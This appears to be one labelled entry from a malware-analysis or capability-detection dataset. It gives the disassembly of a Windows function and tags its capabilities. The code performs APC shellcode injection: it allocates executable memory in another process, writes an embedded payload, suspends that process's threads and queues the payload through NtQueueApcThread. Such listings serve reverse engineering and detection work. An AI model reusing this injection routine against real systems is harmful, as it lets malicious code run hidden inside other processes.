Function at 0x10005971
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e0
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
push 6
xor eax, eax
mov esi, ecx
pop ecx
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
push 0x18c
stosd dword es:[edi], eax
lea eax, [ebp - 0x1dc]
push ebx
push eax
mov dword [ebp - 0x1e0], ebx
call fcn.10018150
mov eax, dword [ebp - 0x20]
add esp, 0xc
push str.ntdll
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], eax
mov byte [ebp - 8], bl
mov dword [ebp - 0x50], 0x1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x34], eax
cmp eax, ebx
jne 0x100059f8
xor eax, eax
jmp 0x10005b2d
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x100059f1
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x100059f1
lea ecx, [ebp - 0x50]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x100059f1
push 0x40
push 0x3000
push 0x109
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x100059f1
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push 0xf5
push 0x10031030
push eax
push dword [ebp - 0x24]
lea edi, [eax + 0xf5]
call esi
test eax, eax
je 0x100059f1
push ebx
push 0x14
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x24]
call esi
test eax, eax
je 0x100059f1
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp + 0xc]
jne 0x10005add
push dword [ebp - 0x48]
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
cmp esi, ebx
je 0x10005add
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10005ada
mov ecx, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x1e0], esi
cmp eax, ebx
jne 0x10005add
mov eax, dword [ebp - 0x2c]
push ebx
push ebx
add eax, 0xf5
push eax
push dword [ebp - 0x2c]
push esi
call dword [ebp - 0x30]
test eax, eax
jne 0x10005add
mov dword [ebp - 0x28], 1
jmp 0x10005add
push esi
call edi
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x20]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x10005af3
cmp dword [ebp - 0x1c], 0x64
jl 0x10005a81
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp - 0x1c], ebx
jle 0x10005b1c
mov ebx, dword [ebp + esi*4 - 0x1e0]
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call edi
inc esi
cmp esi, dword [ebp - 0x1c]
jl 0x10005b05
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret